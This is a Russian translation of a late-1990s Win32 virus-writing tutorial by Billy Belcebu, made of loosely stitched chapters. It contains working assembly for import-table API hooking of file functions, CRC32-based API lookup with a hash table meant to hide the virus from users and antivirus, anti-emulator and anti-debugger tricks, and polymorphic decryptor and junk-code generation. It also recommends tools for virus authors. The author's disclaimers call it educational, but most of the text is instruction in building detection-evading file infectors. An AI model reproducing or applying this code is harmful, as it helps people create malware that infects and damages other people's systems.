Путеводитель по написанию вирусов под Win32

         

Базовая информация


Хорошо, начнем очищение вашей головы от концепций MS-DOS'овского программирования: чарующих 16-ти битных смещений, способов, как стать резидентными... все, что мы использовали годами, теперь стало абсолютно бесполезным. Да, теперь все это бесполезно. В данном пособии, когда я говорю о Win32, я подразумеваю Windows 95 (обычные, OSR1, OSR2), Windows 98, Windows NT или Windows 3.x + Win32s. Наиболее главное изменение, на мой взгляд, заключается в том, что прерывания были заменены функциями API, а 16-ти битные регистры и смещения были заменены 32-х битными. Да, Windows открыла двери другим языками программирования, кроме ассемблера (таким как C), но я останусь с ассемблером навсегда: в большинстве случаев он более понятен и удобен для оптимизирования (привет, Super!). Как я сказал несколькими строчками выше, вы должны использовать функции API. Вы должны знать, что параметры должны быть в стеке, а функции API вызываются с помощью call.

PS: Также я должен сказать, что называю Win95 (и все ее версии) и Win98 как Win9X, а Win2000 как Win2k. Учтите это.



Заголовок PE


Вероятно, это одна из самых важных глав данного пособия. Прочитайте его!



Ring-3, программирование на уровне пользователя


Да, это правда, что уровень пользователя налагает на нас много репрессивных и фашистских ограничений на нас, ограничивающих нашу свободу, к которой мы привыкли, программируя вирусы под DOS, но парни (и девушки - прим. пер.), это жизнь, это Micro$oft. Между прочим, это единственный путь сделать так, чтобы вирус был полностью Win32-совместимым и это среда окружения будущего, как вы должны знать. Во-первых, давайте посмотрим как получить адрес базы KERNEL32 (для Win32-совместимости) очень простым образом:



Ring-0, программирование на уровне бога


Свобода! Разве вы не любите ее? В ring-0 у нас нет никаких огpаничений, никакие законы не pаспpостpаняются на нас. Из-за некомпетентности Микpософта у нас есть множество путей, чтобы попасть на уpовень, на котоpый (теоpетически) мы не можем попасть. Тем не менее, мы можем это сделать под ОСями Win9x.

Глупцы из Micro$oft оставили незащищенными таблицу пpеpываний, напpимеp. Это гигантская бpешь в безопасности, на мой взгляд. Hо какого чеpта, если мы можем написать виpус, используя его, это не бpешь, это пpосто подаpок! ;)



Перпроцессная резидентность


Теперь мы обсудим интересную тему для дискуссии: перпроцессная резидентность, единственный вид резидентности, доступный под всеми Win32 платформами. Я поместил эту главу отдельно от главы Ring-3, потому что эта тема слишком сложна для такой вводной главы, такой как Ring-3.



Этот раздел должен писать Super,




Хмм.. Этот раздел должен писать Super, а не я, но так как я все же его ученик, я напишу здесь о том, что изучил за то время, что нахожусь в мире кодинга под Win32. В этой главе я буду писать больше о локальной оптимизации, чем о структурной, потому что последняя сильно зависит от вашего стиля (например, лично очень параноидально отношусь к вычислениям стека и дельта-оффсета, как вы можете видеть в моем коде, особенно в Win95.Garaipena). В этой статье много моих собственных идей и советов, которые Super дал мне во время валенсийских тусовок. Он, вероятно, лучший оптимизатор в VX-мире. Без шуток. Я не буду обсуждать здесь, как оптимизировать так сильно, как это делает он. Нет. Я только расскажу вам о самых очевидных оптимизациях, которые могут быть сделаны при кодинге под Win32. Я не буду комментировать совсем тривиальные методы оптимизации, которые уже были объяснены в моем путеводителе по написанию вирусов под MS-DOS.


я перечислю некоторые приемы, которые


Здесь я перечислю некоторые приемы, которые можно использовать, чтобы защитить свои вирусы и/или программы против отладчиков (всех уровней, уровня приложения и системного). Я надеюсь, что вам понравится эта глава.


Win32-полиморфизм


Многие люди сказали мне, что самым слабым местом в моем путеводителе под MS-DOS была глава, посвященная полиморфизму (ммм, я написал ее, когда мне было 15, и тогда я знал ассемблер только 1 месяц). По этой причине я решил попытаться написать новую главу абсолютно с нуля. С тех пор я прочел много различных документов о полиморфизме и больше всего меня потряс Qozah'овский. Хотя он очень простой, все концепции полиморфизма, которые необходимы для создания полиморфных движков, объясняются в нем очень хорошо (если вы хотите прочитать его, скачайте DDT#1 с какого-нибудь хорошего VX-сайта). В некоторых частях этой главы я буду делать пояснения для полных ламеров, поэтому если у вас уже есть основные знания, пропустите их!



Продвинутые Win32-техники


В этой главе я хочу обсудить несколько техник, которые не заслуживают того, чтобы каждой из них выделили по отдельной главе, но тем не менее и полностью забыть о них нельзя :).

SEH Мультитредность CRC32 (IT/ET) Антиэмулятор Перезапись секции .reloc



[ Мой перехватчик API-функций ]


Далее следует мое дополнение к моей процедуре GetAPI_II. Она базируется на примерно следующей структуре:

db ASCIIz_API_Name dd offset (API_Handler)

Например:

db "CreateFileA",0 dd offset HookCreateFileA

HookCreateFileA - это процедура, которая обрабатывает перехваченную функцию. Код, который я использовал с этими структурами, следующий:

;---[ CUT HERE ]-------------------------------------------------------------

HookAllAPIs: lea edi,[ebp+@@Hookz] ; Указатель на первую API-функцию nxtapi: push edi ; Сохраняем указатель call GetAPI_IT ; Получаем его из таблицы импортов pop edi ; Восстанавливаем указатель jc Next_IT_Struc_ ; Не получилось? Проклятье... ; EAX = адрес API-функции ; EBX = указатель API-функции ; в таблице импортов

xor al,al ; Достигаем конца имени API-функции scasb jnz $-1

mov eax,[edi] ; Получаем смещение обработчика add eax,ebp ; Приводим в соотве. с дельта-см. mov [ebx],eax ; И помещаем в импорты! Next_IT_Struc: add edi,4 ; Получаем следующий элемент ст-ры! cmp byte ptr [edi],"." ; Достигли пследней API-ф-ции? Гр.. jz AllHooked ; Мы перехватили все jmp nxtapi ; Следующий оборот цикла AllHooked: ret

Next_IT_Struc_: xor al,al ; Получаем конец строки scasb jnz $-1 jmp Next_IT_Struc ; И возвращаемся обратно :)

@@Hookz label byte db "MoveFileA",0 ; Несколько примеров dd (offset HookMoveFileA)

db "CopyFileA",0 dd (offset HookCopyFileA)

db "DeleteFileA",0 dd (offset HookDeleteFileA)

db "CreateFileA",0 dd (offset HookCreateFileA)

db "." ; Конец массива :) ;---[ CUT HERE ]-------------------------------------------------------------

Я надеюсь, что здесь все достаточно понятно :).



Антиэмуляторы


Как и многие другие части этого документа, эта маленькая глава является совместным проектом между мной и Super'ом. Далее следует небольшой список того, что необходимо знать для обмана AV'ишных эмуляторов, как и некоторых небольших отладчиков. Наслаждайтесь!

- Генерирование ошибок с помощью SEH. Пример:

pseh >jmp virus_code&rt; dec byte ptr [edx] ; >-- или другое исключение, например 'div edx' [...] >-- если мы здесь, нас отлаживают! virus_code: rseh [...] >-- код вируса :)

- Использование сегментного префикса CS. Например:

jmp cs:[shit] call cs:[shit]

- Использование RETF. Пример:

push cs call shit retf

- Игра с DS. Пример:

push ds pop eax

или даже лучше:

push ds pop ax

или еще лучше:

mov eax,ds push eax pop ds

- Детектирование эмулятора NODiCE с помощью трюка PUSH CS/POP REG :

mov ebx,esp push cs pop eax cmp esp,ebx jne nod_ice_detected

- Использование недокументированных опкодов:

salc ; db 0D6h bpice ; db 0F1h

- Использование тредов и/или фиберов

Я надеюсь, что все это окажется для вас полезным :).



Что потребуется для написания вирусов


Вот несколько программ, которые я хочу вам порекомендовать (если у вас нет денег, чтобы купить их... СКАЧАЙТЕ!) :)

Windows 95 или Windows NT или Windows 98 или Windows 3.x + Win32s :) Пакет TASM 5.0 (который включает TASM32 и TLINK32) SoftICE 3.23+ (или новее) для Win9X и для WinNT Справочник по Win32 API Win95 DDK, Win98 DDK, Win2000 DDK... короче все M$ DDK и SDK Очень рекомендуется статья Мэтта Питрека о заголовке PE Утилита Jacky Qwerty PEWRSEC Несколько журналов, таких как 29A(#2+), Xine(#2+), VLAD($6), DDT(#1)... Несколько вирусов под Windows, таких как Win32.Cabanas, Win95.Padania, Win32.Legacy... Несколько эвристических антивирусов под Windows "Нейромантик" Вильяма Гибсона, это священная книга И это пособие, разумеется!

Я надеюсь, что не забыл ничего важного.

  [C] Billy Belcebu, пер. Aquila

<<< Назад Вперед >>>



CRC32 (IT/ET)


Мы все знаем (по крайней мере, я надеюсь на это) как написать движок поиска API-функций. Это довольно легко, и существует множество туториалов из которых вы можете выбирать (туториалы JHB, Lord Julus'а, этот туториал...), просто найдите один из них и изучите. Но как вы уже поняли, это займет много места в вашем вирусе (из-за имен функций). Как решить эту проблему, если вы хотите написать маленький вирус?

Решение: CRC32

Я верю, что первым эту технику использовал GriYo в своем потрясающем вирусе Win32.Parvo (исходники которого еще не зарелизены). Вместо поиска совпадающих по именам функций он получает их CRC32 и сравнивает с теми, которые заложены в нем. Если происходит совпадение, то дальше все как обычно. Ок, ок... прежде всего вам нужно поглядеть на код, получающий CRC32 :). Давайте возьмем код Zheng[i, переработанный сначала Vecna, а потом мной (оптимизировал пару байтов) ;).

;---[ CUT HERE ]------------------------------------------------------------- ; ; Процедура получения CRC32 ; ------------------------- ; ; на входе: ; ESI = смещение, блока байтов, чей CRC32 должен быть вычислен ; EDI = размер этого блока ; на выходе: ; EAX = CRC32 данного блока ;

CRC32 proc cld xor ecx,ecx ; Оптимизировано мно - на 2 dec ecx ; байта меньше mov edx,ecx NextByteCRC: xor eax,eax xor ebx,ebx lodsb xor al,cl mov cl,ch mov ch,dl mov dl,dh mov dh,8 NextBitCRC: shr bx,1 rcr ax,1 jnc NoCRC xor ax,08320h xor bx,0EDB8h NoCRC: dec dh jnz NextBitCRC xor ecx,eax xor edx,ebx dec edi ; на 1 байт меньше jnz NextByteCRC not edx not ecx mov eax,edx rol eax,16 mov ax,cx ret CRC32 endp ;---[ CUT HERE ]-------------------------------------------------------------

Хорошо, теперь мы знаем, как получить этот чертов CRC32 определенной строки и/или кода. Но вы ждете здесь другого... хехехе, да! Вы ждете код движка поиска API-функций :).

;---[ CUT HERE ]------------------------------------------------------------- ; ; Процедура GetAPI_ET_CRC32 ; ------------------------- ; ; Хех, сложное имя? Эта процедура ищет имя API-функции в таблице экспортов ; KERNEL32 (после небольших изменений она будет работать для любой DLL), но ; теперь требуется только CRC32 API-функции, а не вся строка :). Также ; потребуется процедура для получения CRC32 вроде той, которую я привел выше. ; ; на входе: ; EAX = CRC32 имени функции в формате ASCIIz ; на выходе: ; EAX = адрес API-функции ;


GetAPI_ET_CRC32 proc xor edx,edx xchg eax,edx ; Помещаем CRC32 функции в EDX mov word ptr [ebp+Counter],ax ; Сбрасываем счетчик mov esi,3Ch add esi,[ebp+kernel] ; Получаем PE-заголовок KERNEL32 lodsw add eax,[ebp+kernel] ; Нормализуем

mov esi,[eax+78h] ; Получаем указатель на add esi,1Ch ; таблицу экспортов add esi,[ebp+kernel]

lea edi,[ebp+AddressTableVA] ; Указатель на таблицу адресов lodsd ; Получаем значение AddressTable add eax,[ebp+kernel] ; Нормализуем stosd ; И сохраняем в ее переменной

lodsd ; Получаем значение NameTable add eax,[ebp+kernel] ; Нормализуем push eax ; Помещаем ее на стек stosd ; Сохраняем в ее переменной

lodsd ; Получаем значение OrdinalTable add eax,[ebp+kernel] ; Нормализуем stosd ; Сохраняем

pop esi ; ESI = NameTable VA

@?_3: push esi ; Снова сохраняем lodsd ; Получ. указ. на имя API-ф-ции add eax,[ebp+kernel] ; Нормализуем xchg edi,eax ; Сохраняем указатель в EDI mov ebx,edi ; И в EBX

push edi ; Сохраняем EDI xor al,al ; Доходим до NULL'а scasb ; Это конец имени API-функции jnz $-1 pop esi ; ESI = Указ. на имя API-ф-ции

sub edi,ebx ; EDI = Размер имени API-ф-ции

push edx ; Сохраняем CRC32 функции call CRC32 ; Получаем текущий CRC функции pop edx ; Восстанавливаем CRC32 функции cmp edx,eax ; Они совпадают? jz @?_4 ; Если да, это то, что нам надо

pop esi ; Восст. указ. на имя функции add esi,4 ; Переходим к следующему inc word ptr [ebp+Counter] ; И увеличиваем знач. счетчика jmp @?_3 ; Получаем следующую API-ф-цию! @?_4: pop esi ; Убираем мусор из стека movzx eax,word ptr [ebp+Counter] ; AX = счетчик shl eax,1 ; *2 (это массив слов) add eax,dword ptr [ebp+OrdinalTableVA] ; Нормализуем xor esi,esi ; Очищаем ESI xchg eax,esi ; ESI = Указ. на ординал; EAX=0 lodsw ; В AX получаем ординал shl eax,2 ; И с его помощью переходим к add eax,dword ptr [ebp+AddressTableVA] ; AddressTable (массив xchg esi,eax ; двойных слов) lodsd ; Получаем адресс API RVA add eax,[ebp+kernel] ; и нормализуем!! Все! ret GetAPI_ET_CRC32 endp

AddressTableVA dd 00000000h ;\ NameTableVA dd 00000000h ; &rt; В ЭТОМ ПОРЯДКЕ!! OrdinalTableVA dd 00000000h ;/



kernel dd 0BFF70000h ; Подгоните под свои нужды ;) Counter dw 0000h ;---[ CUT HERE ]-------------------------------------------------------------

Далее следует эквивалентный код, но работающий с таблицей импортов. Таким образом вы сможете написать перпроцессный резидент с помощью одних только CRC32 имен API-функций ;).

;---[ CUT HERE ]------------------------------------------------------------- ; ; Процедура GetAPI_IT_CRC32 ; ------------------------- ; ; Эта процедура ищет в таблице импортов API-функция, CRC32 которой совпадает ; с переданным процедуре. Это полезно для создания перпроцессных резидентов ; (смотри главу "Перпроцессная резидентность" в данном туториале). ; ; на входе: ; EAX = CRC32 имени API-функции в формате ASCIIz ; на выходе: ; EAX = адрес API-функции ; EBX = указатель на адрес API-функции в таблице импортов ; CF = устанавливаем, если вызов функции не удался ;

GetAPI_IT_CRC32 proc mov dword ptr [ebp+TempGA_IT1],eax ; Сохранить CRC32 API-функции ; на будущее

mov esi,dword ptr [ebp+imagebase] ; ESI = база образа add esi,3Ch ; Получ. указ. на PE-заголовок lodsw ; AX = тот указатель cwde ; Очищаем MSW EAX'а add eax,dword ptr [ebp+imagebase] ; Нормализуем указатель xchg esi,eax ; ESI = такой указатель lodsd ; Получаем DWORD

cmp eax,"EP" ; Это метка PE? jnz nopes ; Нет... duh!

add esi,7Ch ; ESI = PE-заголовок+80h lodsd ; Ищем .idata push eax lodsd ; Получаем размер mov ecx,eax pop esi add esi,dword ptr [ebp+imagebase] ; Нормализуем

SearchK32: push esi ; Сохраняем ESI в стек mov esi,[esi+0Ch] ; ESI = указатель на имя add esi,dword ptr [ebp+imagebase] ; Нормализуем lea edi,[ebp+K32_DLL] ; Указатель на 'KERNEL32.dll' mov ecx,K32_Size ; Размер строки cld ; Очищаем флаг направления push ecx ; Сохраняем ECX rep cmpsb ; Сохраняем байты pop ecx ; Восстанавливаем ECX pop esi ; Восстанавливаем ESI jz gotcha ; Были ли они равны? Черт... add esi,14h ; Получаем другое поле jmp SearchK32 ; И ищем снова gotcha: cmp byte ptr [esi],00h ; Это OriginalFirstThunk 0? jz nopes ; Проклятье, если так... mov edx,[esi+10h] ; Получаем FirstThunk add edx,dword ptr [ebp+imagebase] ; Нормализуем lodsd ; Получаем его or eax,eax ; Это 0? jz nopes ; Проклятье...



xchg edx,eax ; Получаем указатель на него add edx,[ebp+imagebase] xor ebx,ebx loopy: cmp dword ptr [edx+00h],00h ; Последний RVA? jz nopes ; Проклятье... cmp byte ptr [edx+03h],80h ; Ординал? jz reloop ; Проклятье...

mov edi,[edx] ; Получаем указатель на add edi,dword ptr [ebp+imagebase] ; импортированную API-функцию inc edi inc edi mov esi,edi ; ESI = EDI

pushad ; Сохраняем все регистры eosz_edi ; В EDI получаем конец строки sub edi,esi ; EDI = размер имени функции

call CRC32 mov [esp+18h],eax ; В ECX - результат после POPAD popad

cmp dword ptr [ebp+TempGA_IT1],ecx ; CRC32 данной API-функции jz wegotit ; совпадает с той, которая ; нам нужна? reloop: inc ebx ; Если, совершаем следующий add edx,4 ; проход и ищем нужную функцию ; в таблице импортов loop loopy wegotit: shl ebx,2 ; Умножаем на 4 add ebx,eax ; Добавляем FirstThunk mov eax,[ebx] ; EAX = адрес API-функции test al,00h ; Пересечение: избегаем STC :) org $-1 nopes: stc ret GetAPI_IT_CRC32 endp

TempGA_IT1 dd 00000000h imagebase dd 00400000h K32_DLL db "KERNEL32.dll",0 K32_Size equ $-offset K32_DLL

;---[ CUT HERE ]-------------------------------------------------------------

Вы счастливы? Это рульно и легко! И, конечно, вы можете избежать возможных подозрений пользователя относительно вашего вируса (если то не зашифрован), так нет видимых имен API-функций :). Далее я перечислю CRC32 некоторых API-функций (включая NULL в конце имени), но если вы захотите узнать CRC32 другой функции, то вы сможете это сделать с помощью маленькой программки, исходник которой я также прилагаю.

CRC32 некоторых API-функций:

Имя API-функции CRC32 Имя API-функции CRC32 --------------- ----- --------------- ----- CreateFileA 08C892DDFh CloseHandle 068624A9Dh FindFirstFileA 0AE17EBEFh FindNextFileA 0AA700106h FindClose 0C200BE21h CreateFileMappingA 096B2D96Ch GetModuleHandleA 082B618D4h GetProcAddress 0FFC97C1Fh MapViewOfFile 0797B49ECh UnmapViewOfFile 094524B42h GetFileAttributesA 0C633D3DEh SetFileAttributesA 03C19E536h ExitProcess 040F57181h SetFilePointer 085859D42h SetEndOfFile 059994ED6h DeleteFileA 0DE256FDEh GetCurrentDirectoryA 0EBC6C18Bh SetCurrentDirectoryA 0B2DBD7DCh GetWindowsDirectoryA 0FE248274h GetSystemDirectoryA 0593AE7CEh LoadLibraryA 04134D1ADh GetSystemTime 075B7EBE8h CreateThread 019F33607h WaitForSingleObject 0D4540229h ExitThread 0058F9201h GetTickCount 0613FD7BAh FreeLibrary 0AFDF191Fh WriteFile 021777793h GlobalAlloc 083A353C3h GlobalFree 05CDF6B6Ah GetFileSize 0EF7D811Bh ReadFile 054D8615Ah GetCurrentProcess 003690E66h GetPriorityClass 0A7D0D775h SetPriorityClass 0C38969C7h FindWindowA 085AB3323h PostMessageA 086678A04h MessageBoxA 0D8556CF7h RegCreateKeyExA 02C822198h RegSetValueExA 05B9EC9C6h MoveFileA 02308923Fh CopyFileA 05BD05DB1h GetFullPathNameA 08F48B20Dh WinExec 028452C4Fh CreateProcessA 0267E0B05h _lopen 0F2F886E3h MoveFileExA 03BE43958h CopyFileExA 0953F2B64h OpenFile 068D8FC46h



Вам нужен CRC32 другой функции?

Это вполне возможно, поэтому я прилагаю исходник маленькой, но эффективной программы, которую я сделал сам для себя. Надеюсь, что вам она также будет полезной.

;---[ CUT HERE ]-------------------------------------------------------------

.586 .model flat .data

extrn ExitProcess:PROC extrn MessageBoxA:PROC extrn GetCommandLineA:PROC

titulo db "GetCRC32 by Billy Belcebu/iKX",0

message db "SetEndOfFile" ; Поместите здесь строку, чей ; CRC32 вам нужно узнать _ db 0 db "CRC32 is " crc32_ db "00000000",0

.code

test: mov edi,_-message lea esi,message ; Загружаем указатель на имя ; API-функции call CRC32 ; Получаем CRC32

lea edi,crc32_ ; Конвертируем hex в текст call HexWrite32

mov _," " ; Пусть 0 станет пробелом

push 00000000h ; Отображаем messagebox с push offset titulo ; именем API-функции и ее CRC32 push offset message push 00000000h call MessageBoxA

push 00000000h call ExitProcess

HexWrite8 proc ; Этот код был взят из носителя mov ah,al ; 1-ого поколения вируса and al,0Fh ; Bizatch shr ah,4 or ax,3030h xchg al,ah cmp ah,39h ja @@4 @@1: cmp al,39h ja @@3 @@2: stosw ret @@3: sub al,30h add al,'A' - 10 jmp @@2 @@4: sub ah,30h add ah,'A' - 10 jmp @@1 HexWrite8 endp

HexWrite16 proc push ax xchg al,ah call HexWrite8 pop ax call HexWrite8 ret HexWrite16 endp

HexWrite32 proc push eax shr eax, 16 call HexWrite16 pop eax call HexWrite16 ret HexWrite32 endp

CRC32 proc cld xor ecx,ecx ; Оптимизировано мной - на 2 ; байта меньше dec ecx mov edx,ecx NextByteCRC: xor eax,eax xor ebx,ebx lodsb xor al,cl mov cl,ch mov ch,dl mov dl,dh mov dh,8 NextBitCRC: shr bx,1 rcr ax,1 jnc NoCRC xor ax,08320h xor bx,0EDB8h NoCRC: dec dh jnz NextBitCRC xor ecx,eax xor edx,ebx dec edi ; на 1 байт меньше jnz NextByteCRC not edx not ecx mov eax,edx rol eax,16 mov ax,cx ret CRC32 endp

end test ;---[ CUT HERE ]-------------------------------------------------------------

Круто, правда? :)


Дисклеймер автора


Автор этого документа не ответственен за какой бы то ни было ущерб, который может повлечь неправильное использование данной информации. Цель данного туториала - это научить людей как создавать и побеждать ламерские YAM-вирусы :). Этот туториал предназначается только для образовательных целей. Поэтому, законники, я не заплачу и ломанного гроша, если какой-то ламер использует данную информацию, чтобы сделать деструктивный вирус. И если в этом документе вы увидите, что я призываю разрушать или портить чужие данные, идите и купите себе очки.



Дисклеймер переводчика


Серия туториалов "Путеводитель по написанию вирусов под Win32" предназначена для сугубо образовательных целей. По крайней мере именно это было целью перевода: предоставить людям информацию о формате PE-файла, работе операционной системы, таких полезных технологиях, как полиморфизм и многом другом, что может потребоваться кодеру в его нелегком пути к постижению дао программирования. То, как читатели используют эту информацию, остается на их совести.



+ DOS-информация +


Анализируемый файл: GOAT002.EXE

DOS-отчеты: ¦ Размер файла - 2000H (08192d) ¦ Время создания файла - 17:19:46 (hh:mm:ss) ¦ Дата создания файла - 11/06/1999 (dd/mm/yy) ¦ Аттрибуты : архивный

[...]

+ PE Header +



+ DOS INFORMATION +


Анализируемый файл: GOAT002.EXE

DOS-отчеты: ¦ Размер файла - 2600H (09728d) ¦ Время создания файла - 23:20:58 (hh:mm:ss) ¦ Дата создания файла - 22/06/1999 (dd/mm/yy) ¦ Аттрибуты : архивный

[...]



Генерация инструкций


Вероятно, это самое важное в полиморфизме: отношения, существующие между одной и той же инструкции с разными регистрами или между разными инструкциями одного семейства. Отношения между ними становятся понятными, если мы преобразуем значения в двоичный формат. Но сначала немного полезной информации:

Я думаю, что моя главная ошибка во время написания моего предыдущего путеводителя заключалась в той части, где я описывал структуру опкодов и тому подобное. Поэтому сейчас я объясню часть того, что вам придется делать самим, так же, как когда я писал свой полиморфный движок. Возьмем в качестве примера опкод XOR...

xor edx,12345678h -> 81 F2 78563412 xor esi,12345678h -> 81 F6 78563412

Видите различие? Я пишу инструкции, которые мне нужны, использую дебуггер и смотрю, что изменяется раз от раза. Вы можете видеть, что изменился второй байт. Теперь самая забавная часть: переведите эти значения в двоичную форму.

F2 -> 11 110 010 F6 -> 11 110 110

Видите, что изменилось? Последние три бита, верно? Ок, теперь переходим к регистрам. Как вы поняли, изменяются три последних бита согласно используемому регистру. Итак...

010 -> EDX 110 -> ESI

Просто попытайтесь поместить другое двоичное значение в эти три бита и вы увидите, как изменяется регистр. Но будьте осторожны... не используйте значение EAX (000) с этим опкодом, так как и у всех арифметических операций, у xor есть специальный опкод, оптимизированный для EAX. Кроме того, если вы используете такое значение регистра, эвристик запомнит это (хотя этот опкод будет прекрасно работать).

Поэтому отлаживайте то, что хотите сгенерировать, изучайте взаимоотношения между ними и стройте надежный код для генерирования чего бы то ни было. Это очень легко!



Генерация мусора


Качество мусора на 90% - качество вашего полиморфного движка. Да, я сказал "качество", а не "количество", как вы могли подумать. Во-первых, я покажу вам две возможности, которые у вас есть при написании полиморфного движка:

- Генерирование реалистичного кода, похожего на "законный" код приложения. Например, движки GriYo.

- Генерировать так много инструкций, как это возможно, похожего на поврежденный файл (с использованием сопроцессора). Например, MeDriPoLen Mental Driller'а.

Ок, тогда давай начнет:

¦ Общее для обоих случаев:

- CALL'ы (и CALL'ы внутри CALL'ов внутри CALL'ов...) множеством различных путей - Безусловные переходы

¦ Реалистичность:

"Реалистичное" - это то, что выглядит как настоящее, хотя и может не являться таковым на самом деле. Я хочу задать вам вопрос: что вы подумаете, если увидите огромное количество кода без CALL'ов и JUMP'ов? Что, если после CMP не будет условного перехода? Это практически невозможно, о чем знаем и мы и AV. Поэтом мы должны ументь все эти виды мусорных структур:

- CMP/Условные переходы - TEST/Условные переходы - Всегда использовать оптимизированные опкоды при работе с EAX - Работа с памятью - Генерирование структур PUSH/мусор/POP - Использование очень маленького количества однобайтовых инструкций (если вообще их использовать)

¦ Mental Drillism... гхрм... Поврежденный код выглядит следующим образом:

Декриптор наполнен всякой чепухой, опкодами не похожие на код, ничего не делающими инструкциями сопроцессора и, конечно, используется так много опкодов, как это возможно.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Ладно, теперь я попытаюсь объяснить все этапы генерации кода. Во-первых, давайте начнем с того, что относится к CALL'ам и безусловным переходам.

• Что касается первого, это очень просто. Вызов подпрограмм можно осуществить разными путями:

Конечно, вы можете смешивать эти способы, получив, как результат множество способов сделать подпрограмму внутри декриптора. Конечно, вы можете сделать рекурсию (о чем я еще буду говорить в дальнейшем), должны быть CALL'ы внутри других CALL'ов и это все внутри еще одного CALL и так далее... Уфф. Сплошная головная боль.


Между прочим, будет неплохо сохранять смещения некоторых из этих процедур и вызывать их где-нибудь в сгенерированном коде.

• Безусловные переходы - это тоже очень легко, так как нам не нужно заботиться об инструкциях между переходом и тем, куда он переходит - туда мы можем вставлять всякий мусор.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Теперь я собираюсь обсудить реалистичность кода. GriYo можно назвать автором лучших движков в этой области; если вы видели движки Marburg'а или HPS, вы поймете, что несмотря на их простоту, GriYo стремится к тому, чтобы код выглядел как можно более настоящим, и это AV бесятся, когда пытаются разработать надежный алгоритм против таких движков. Ок, давайте начнем с основных моментов:

• Со структурой 'CMP/Условный переход' все понятно, потому что никогда не следует использовать сравнение без последующего условного перехода... Ок, но попытайтесь сделать переходы с ненулевым смещением, сгенерируйте какой-нибудь мусор между условным переходом и смещением, куда будет передан контроль (или не будет), и код станет менее подозрительным в глазах анализатора.

• То же самое касается TEST, но использовать следует JZ или JNZ, потому что, как вам известно, TEST влияет только на нулевой флаг.

• Очень легко сделать ошибку при использовании регистров AL/AX/EAX, так как для них существуют специальные оптимизированные опкоды. В качестве примеров могут выступать следующие инструкции:

ADD, OR, ADC, SBB, AND, SUB, XOR, CMP и TEST (Непосредственное значение в регистр).

• Касательно адресов памяти - хорошим выбором будет получить по крайней мере 512 байтовв зараженном файле, поместить их где-нибудь в вирусе и сделать доступными для чтения и записи. Постарайтесь использовать кроме простого индексирования еще и двойное, и если ваш разум может принять это, попытайтесь использовать двойное индексирование с умножением, что-нибудь вроде следующего [ebp+esi*4]. Это не так сложно, как можно подумать, поверьте мне. Вы также можете делать перемещения в памяти с помощью инструкции MOVS, также используйте STOS, LODS, CMPS... Можно использовать все строковые операции, все зависит от вас.



• Структуры PUS/TRASH/ POP очень полезны, потому что их легко добавить в движок, и они дают хорошие результаты, в то время как это нормальная структура в законопослушной программе.

• Если количество однобайтных инструкций слишком велико, это может выдать наше присутствие AV или любому человеку. Учтите, что нормальные программы используют их не так часто, поэтому вполне возможно, что лучше добавить проверку для того, чтобы избежать их чрезмерного использования (мне кажется, что приемлимым соотношением будет 1 однобайтовая инструкция на каждые 25 байтов).

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Дальше идет немного менталдриллизма :).

• Вы можете использовать следующие 2-х байтовые инструкции сопроцессора в качестве мусора без каких-либо проблем:

f2xm1, fabs, fadd, faddp, fchs, fnclex, fcom, fcomp, fcompp, fcos, fdecstp, fdiv, fdivp, fdivr, fdivrp, ffree, fincstp, fld1, fldl2t, fldl2e, fldpi, fldln2, fldz, fmul, fmulp, fnclex, fnop, fpatan, fprem, fprem1, fptan, frndint, fscale, fsin, fsincos, fsqrt, fst, fstp, fsub, fsubp, fsubr,fsubrp, ftst, fucom, fucomp, fucompp, fxam, fxtract, fyl2x, fyl2xp1.

Просто поместите в начало вируса эти две инструкции, чтобы сбросить сопроцессор:

fwait fninit


Генерация "настоящего" кода


Давайте взглянем на наш набор инструкций.

mov ecx,virus_size ; (1) lea edi,crypt ; (2) mov eax,crypt_key ; (3) @@1: xor dword ptr [edi],eax ; (4) add edi,4 ; (5) loop @@1 ; (6)

Чтобы выполнить то же самое действие, но с помощью другого кода, можно сделать много разных вещей, и это является нашей целью. Например, первые три инструкции можно сгруппировать другим способом с тем же результатом, поэтому вы можете создать функцию для рандомизации их порядка. И мы можем использовать любой набор регистров без особых проблем. И мы можем использовать вместо loop dec/jnz... И так далее, и так далее...

- Ваш код должен уметь генерировать, например, что-то вроде следующего для выполнения одной простой инструкции. Давайте подумаем насчет первого mov:

mov ecx,virus_size

или

push virus_size pop ecx

или

mov ecx,not (virus_size) not ecx

или

mov ecx,(virus_size xor 12345678h) xor ecx,12345678h

и так далее, и так далее...

Все это будет генерироваться с помощью разных опкодов, но будет выполнять одну и ту же работу, а именно - помещать в ECX размер вируса. Конечно, здесь есть миллиард возможностей, потому вы можете использовать огромное количество инструкций для помещения инструкции в регистр. Это требует большого воображения с вашей стороны.

- Другое, что можно сделать - это изменить порядок инструкций. Как я уже сказал раньше, вы можете это сделать без особых проблем, потому что порядок для них не играет роли. Поэтому, вместо набора инструкций 1,2,3 мы легко можем сделать 3,1,2 или 1,3,2 и т.д. Просто дайте волю вашему воображению.

- Также очень важно делать обмен регистров, так как тогда опкоды тоже могут меняться (например, 'MOV EAX, imm32' кодируется как 'B8 imm32', а 'MOV ECX, imm32' кодируется как 'B9 imm32'). Вам следует использовать 3 регистра для декриптора из 7, которые мы можем использовать (никогда не используйте ESP!!!). Например, представьте, что выбрали (случайно) 3 регистра. EDI в качестве базового указателя, EBX в качестве ключа, а ESI - в качестве счетчика; тогда мы можем использовать EAX, ECX, EDX и EBP в качестве мусорных регистров для генерации мусорных инструкций. Давайте посмотрим пример кода, в котором выбираются 3 регистра для генерации нашего декриптора:


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= InitPoly proc

@@1: mov eax,8 ; Получить случайный регистр call r_range ; EAX := [0..7]

cmp eax,4 ; Это ESP? jz @@1 ; Если да, получаем другой

mov byte ptr [ebp+base],al ; Сохраняем его mov ebx,eax ; EBX = базовый регистр

@@2: mov eax,8 ; Получаем случайный регистр call r_range ; EAX := [0..7]

cmp eax,4 ; Это ESP? jz @@2 ; Если да, получаем другой

cmp eax,ebx ; Равен базовому указателю? jz @@2 ; Если да, получаем другой

